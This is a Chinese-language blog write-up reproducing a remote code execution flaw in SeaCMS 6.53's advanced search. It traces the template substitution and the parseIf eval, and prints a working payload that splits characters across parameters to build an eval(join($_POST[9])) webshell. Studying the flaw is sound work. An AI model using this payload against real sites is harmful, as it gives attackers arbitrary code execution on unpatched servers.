[漏洞复现]seacms(v6.53)代码执行漏洞

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

参考网址:

https://blog.csdn.net/weixin_44897902/article/details/100853036
https://www.jianshu.com/p/a3a18f233184?tdsourcetag=s_pctim_aiomsg

环境:

链接: https://pan.baidu.com/s/1kxMumGD1OU8_unvFBzgKVQ 提取码: 69hp 

漏洞概述

这篇文章主要写6.53版本绕过字符限制。并没有写之前的版本中用的order参数方法。

在这里插入图片描述
中间的安装过程就不细说了。

安装好后,页面是这样的,漏洞点出现在搜索那里

在这里插入图片描述
即search.php。

漏洞利用

我们来把参数整个流程说一下。
先在搜索框随意输入,点击搜视频或者搜资讯,然后抓包。发送到repeater。

在这里插入图片描述
在这里插入图片描述

可以看到,向search.php传了一个参数searchword

用phpstorm打开整个seacms目录。找到search.php(点两次shift键搜索search就可以)

这个文件肯定有个地方接收searchword参数,但是我没有找见。既然这里没有,那肯定就是包含了某个文件里有。

在这里插入图片描述
先看第一个包含的文件common.php。找到了这个红框里的。应该就是接收参数的,把参数名当做变量名,把参数值作为变量的值。

在这里插入图片描述
回头再看search.php,漏洞点就在if判断中的str_replace函数。进行了多次替换。$searchtype=5表示高级搜索。所以进入判断需要先传参searchtype=5

在这里插入图片描述

在这里插入图片描述
下图中的红框都是上图中的选项。可以传参数。所以这些变量是可控的,

在这里插入图片描述

至于后面的$content。往上翻,就看见以下代码,在这里给$content赋值了。

在这里插入图片描述
getFileCachesetFileCache函数在common.func.php文件,search.php也包含了这个文件。找见这两个函数,发现一个路径。然后就会发现每次进行高级搜索时,就会在这个路径下生成3个文件(也好像不是三个),文件内容我也不知道干嘛的

在这里插入图片描述
在这里插入图片描述
发现有的文件大小挺大的,打开看看。

在这里插入图片描述

在这里插入图片描述
我可能发现了点东西。因为我发现这两张图片很像,ssssss是我搜索的内容,说明search.php中的替换函数就是干这些的。$content应该可以理解为这样了,没毛病吧?

<meta name="keywords" content="{seacms:searchword},海洋CMS" />

现在这两个参数都是我们可控的
在这里插入图片描述
这样就可以绕过字符限制了。
,字符哪里限制了?在search.php开头就限制了,只取20个字符,而且还用addslashes。
在这里插入图片描述

到这一步就要放出网上的payload了。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

searchtype=5就不细说了,这是为了高级搜索进入if判断
之后就是searchword={if{searchpage:year}
此时$content的内容为

<meta name="keywords" content="{if{searchpage:year},海洋CMS" />

然后执行下图语句进行替换
在这里插入图片描述
替换之后,$conent的内容为

<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />

然后执行下图语句进行替换
在这里插入图片描述
替换之后,$conent的内容为

<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />

然后执行下图语句进行替换
在这里插入图片描述
替换之后,$conent的内容为

<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />

然后执行下图语句进行替换
在这里插入图片描述
替换之后,$conent的内容为

<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />

然后执行下图语句进行替换
在这里插入图片描述
替换之后,$conent的内容为

<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

这样$content就含义一句话木马了。
为什么会有一个{if:呢?一会说。

在这里插入图片描述
看到第213行调用了parseIf方法

跟进,到了main.class.php文件里的第3098行
在这里插入图片描述
看方法入口的if判断,就明白为什么要有{if:了吧。
下图两个箭头代码就是取{if:的其他内容,此时解析出的内容eval(join($_POST[9]))
在这里插入图片描述
此时解析出的内容eval(join($_POST[9]))给了$iar。经过一系列操作后,传给了eval函数。执行最终的代码。

在这里插入图片描述
此时eval执行的最后代码为

@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");

成功执行phpinfo函数
在这里插入图片描述
在这里插入图片描述

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bog0n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值